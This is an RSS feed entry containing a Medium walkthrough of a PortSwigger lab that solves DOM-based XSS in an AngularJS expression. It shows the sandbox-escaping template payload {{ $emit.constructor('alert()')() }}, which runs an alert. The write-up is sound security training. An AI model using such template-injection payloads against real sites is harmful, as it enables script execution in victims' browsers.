            <link>https://medium.com/@cyberkry/lab-dom-xss-in-angularjs-expression-with-angle-brackets-and-double-quotes-html-encoded-c4c378cc6566?source=rss-b5335c493e34------2</link>
            <guid isPermaLink="false">https://medium.com/p/c4c378cc6566</guid>
            <category><![CDATA[kry]]></category>
            <category><![CDATA[xx]]></category>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[KRY]]></dc:creator>
            <pubDate>Fri, 19 Dec 2025 18:48:30 GMT</pubDate>
            <atom:updated>2025-12-19T18:48:30.718Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lUO_PCVxvr0Hvbbpo_nWPQ.webp" /></figure><h3>Description</h3><p>This lab contains a DOM-based cross-site scripting vulnerability in a AngularJS expression within the search functionality.</p><p>AngularJS is a popular JavaScript library, which scans the contents of HTML nodes containing the ng-app attribute (also known as an AngularJS directive). When a directive is added to the HTML code, you can execute JavaScript expressions within double curly braces. This technique is useful when angle brackets are being encoded.</p><p>To solve this lab, perform a cross-site scripting attack that executes an AngularJS expression and calls the alert function.</p><h3>Solution</h3><p>AngularJS is an outdated JavaScript framework for creating dynamic single-page applications (SPAs). It actively uses two-way data binding, templates, and directives, which makes it vulnerable to incorrect filtering of user input.</p><p>Let’s go to the lab and enter our input data to verify the input.</p><p>If we look at the Developer Tools, we can see that our body is included in ng-app, which prompts us to try whether we can use {{}} to embed our payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*fjp8mCeWHGH3JC1Kv14UHQ.png" /></figure><p>Using {{ 2 + 2 }}, we can see that ng-app is running, and we can try to create our function.</p><p>If we try to find angularjs methods scope, we will find methods that can call a function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*LlZytsBi32Ji_QwLDFuUKg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wmhiWd3PgoRHK54-_64tug.png" /></figure><p>Using this payload, we will execute our alert.</p><pre>{{ $emit.constructor(&#39;alert()&#39;)() }}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*gPacVLaamqaEevU7ZEyFlg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/445/1*3lMHN9_-jtkYXjLSBAganA.png" /></figure><p><strong>I hope you found this write-up useful. You can also visit my profiles:</strong></p><p>GitHub: <a href="https://github.com/CyberKRY">https://github.com/CyberKRY</a></p><p>TryHackMe: <a href="https://tryhackme.com/p/KRY">https://tryhackme.com/p/KRY</a></p><p>HackTheBox: <a href="https://app.hackthebox.com/users/2817850">https://app.hackthebox.com/users/2817850</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c4c378cc6566" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>